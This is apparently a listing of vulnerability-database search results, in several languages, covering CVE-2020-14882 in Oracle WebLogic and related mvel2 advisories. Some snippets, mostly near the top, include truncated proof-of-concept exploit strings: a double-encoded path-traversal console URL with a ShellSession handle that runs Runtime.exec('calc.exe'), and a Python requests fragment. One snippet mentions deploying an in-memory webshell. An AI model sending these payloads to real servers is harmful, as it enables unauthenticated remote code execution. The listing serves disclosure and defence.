CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe root@kitploit: import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' ...

cve-2020-14882

CVE-2020-14882 Betroffene Versionen: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 POC: root@kitploit: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';";...

Weblogic_Unauthorized-bypass-RCE

CVE-2020–14882 Weblogic Unbefugte Umgehung RCE CVE-2020-14882 Oracle Weblogic Unbefugte Umgehung RCE Testskript Es funktioniert mit Python3 Anfragen root@kitploit: POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1 Host: User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64...

CVE-2020-14882

CVE-2020-14882: Deployare webshell in memoria di Behinder Come noto, CVE-2020-14882 è una vulnerabilità di autorizzazione non autenticata che consente a un attaccante di eseguire codice arbitrario su un server WebLogic vulnerabile. I PoC pubblici online sfruttano caratteri illegali per bypassare...

CVE-2020-14882-WebLogic-Analysis

Ricerca di vulnerabilità: Sfruttamento della catena CVE-2020-14882 e CVE-2020-14883 in Oracle WebLogic Server Il repository contiene un rapporto tecnico Write-up e un Proof of Concept PoC di livello concettuale per dimostrare la catena di vulnerabilità di bypass dell'autenticazione Authentication...

Denial Of Service (DoS)

org.mvel: mvel2 is vulnerable to Denial Of Service DoS. The vulnerability is due to the ParseTools.subCompileExpression method which times or executes for an indefinite time when parsing a crafted MVFLEX Expression MVEL. A malicious user can craft an MVEL expression and pass to the...

GHSA-H63J-XQX6-W58R mvel2 TimeOut error exists in the ParseTools.subCompileExpression method

A TimeOut error exists in the ParseTools.subCompileExpression method in mvel2 v2.5.0 Final...

mvel2 TimeOut error exists in the ParseTools.subCompileExpression method

A TimeOut error exists in the ParseTools.subCompileExpression method in mvel2 v2.5.0 Final...

CVE-2023-51079

CVE-2023-51079 is a DoS vulnerability in MVEL’s ParseTools.subCompileExpression() causing timeout under crafted requests. IBM’s bulletin ties this to IBM Business Automation Manager Open Editions (BAMOE) 9.0.0–9.1.1, recommending BAMOE 9.2.0 as the fix. Red Hat advisory for Apache Camel build als...

PT-2023-31756 · Mvel2 · Mvel2

Name of the Vulnerable Software and Affected Versions: mvel2 version 2.5.0 Final Description: A TimeOut error exists in the ParseTools.subCompileExpression method due to many Java class lookups, potentially causing a long execution time. The vendor disputes the significance of this issue, stating...

Apache Unomi Remote Code Execution(CVE-2020-13942)

A remote code execution vulnerability exists in the Apache Unomi project. The vulnerability is due to insufficient validation of OGNL and MVEL2. Successful exploitation of this vulnerability could result in execution of arbitrary code...